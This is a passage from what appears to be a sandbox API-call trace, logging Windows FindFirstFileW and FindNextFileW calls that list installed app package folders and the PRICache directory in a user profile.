ftCreationTime.dwLowDateTime=0xdbc0dcb3, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdbc0dcb3, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdbc0dcb3, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_N")) returned 1 [0179.901] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f5fd63a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f5fd63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f5fd63a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI5A4E~1.0_N")) returned 1 [0179.901] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77138478, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77138478, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77138478, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MIFC10~1.0_N")) returned 1 [0179.901] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79521b5c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79521b5c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79521b5c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI189A~1.0_N")) returned 1 [0179.901] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc62ee79, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xcc62ee79, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xcc62ee79, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.0_N")) returned 1 [0179.901] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd942a48, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xdd942a48, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdd942a48, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~4.0_N")) returned 1 [0179.902] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eb2cb6, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd9eb2cb6, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd9eb2cb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.150")) returned 1 [0179.902] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75db2f08, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75db2f08, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75db2f08, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI98FA~1.0_N")) returned 1 [0179.902] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x753b713c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x753b713c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x753b713c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MIC120~1.0_N")) returned 1 [0179.902] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74a7a048, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74a7a048, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74a7a048, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MI7DAE~1.0_N")) returned 1 [0179.902] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7407e16d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7407e16d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7407e16d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MID492~1.0_N")) returned 1 [0179.902] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x733f9bba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x733f9bba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x733f9bba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI6FCD~1.0_N")) returned 1 [0179.903] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x725392b3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x725392b3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x725392b3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MI3009~1.0_N")) returned 1 [0179.903] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d619bd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x70d619bd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x70d619bd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", cAlternateFileName="MI2456~1.0_N")) returned 1 [0179.903] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x701e842d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x701e842d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x701e842d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MI829F~1.0_N")) returned 1 [0179.903] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd55d4d1e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd55d4d1e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd55d4d1e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.332")) returned 1 [0179.903] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c4851d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c4851d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c4851d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy", cAlternateFileName="MICROS~2.332")) returned 1 [0179.904] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f34dd66, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6f34dd66, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6f34dd66, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MIB10B~1.0_N")) returned 1 [0179.904] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7871fddf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7871fddf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7871fddf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="WINDOW~2.0_N")) returned 1 [0179.904] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd855dc57, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd855dc57, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd855dc57, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.0_N")) returned 1 [0179.904] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd855dc57, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd855dc57, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd855dc57, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.0_N")) returned 0 [0179.904] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache", lpFilePart=0x0) returned 0x38 [0179.905] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca7566ed, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38be9538, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.905] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca7566ed, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38be9538, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.905] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc316d801, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc316d801, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc316d801, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1296364935", cAlternateFileName="129636~1")) returned 1 [0179.905] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42dc9d5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc42dc9d5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc42dc9d5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1301087654", cAlternateFileName="130108~1")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86414229, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x86414229, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x86414229, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1453256723", cAlternateFileName="145325~1")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6b7131, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a6b7131, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a6b7131, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="1527C7~1.447")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd16fe20c, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0xd16fe20c, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xd16fe20c, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="166769388", cAlternateFileName="166769~1")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc77cad3f, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc77cad3f, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc77cad3f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1683741627", cAlternateFileName="168374~1")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbca3f417, ftCreationTime.dwHighDateTime=0x1d5c555, ftLastAccessTime.dwLowDateTime=0xbca3f417, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0xbca3f417, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1742034116", cAlternateFileName="174203~1")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc440dec5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc440dec5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc440dec5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1826862827", cAlternateFileName="182686~1")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38be9538, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38be9538, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2099242119", cAlternateFileName="209924~1")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8eb649, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe8eb649, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe8eb649, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2111694984", cAlternateFileName="211169~1")) returned 1 [0179.906] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc421de2e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc421de2e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc421de2e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2174779919", cAlternateFileName="217477~1")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1288aa34, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x1288aa34, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x1288aa34, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2717123927", cAlternateFileName="271712~1")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a600559, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a600559, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a600559, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4185669309", cAlternateFileName="418566~1")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2b90c5, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a2b90c5, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a2b90c5, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="450179714", cAlternateFileName="450179~1")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7926d8, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe7926d8, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe7926d8, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="642584412", cAlternateFileName="642584~1")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d59771, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83d59771, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83d59771, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="C5E252~1.0_N")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83020fb6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83020fb6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83020fb6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="CORTAN~1.0_N")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81af8126, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81af8126, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81af8126, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy", cAlternateFileName="DESKTO~2.0_N")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80ca9f1d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80ca9f1d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80ca9f1d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="DESKTO~1.0_N")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79e84fa9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79e84fa9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79e84fa9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="E2A4F9~1.332")) returned 1 [0179.907] 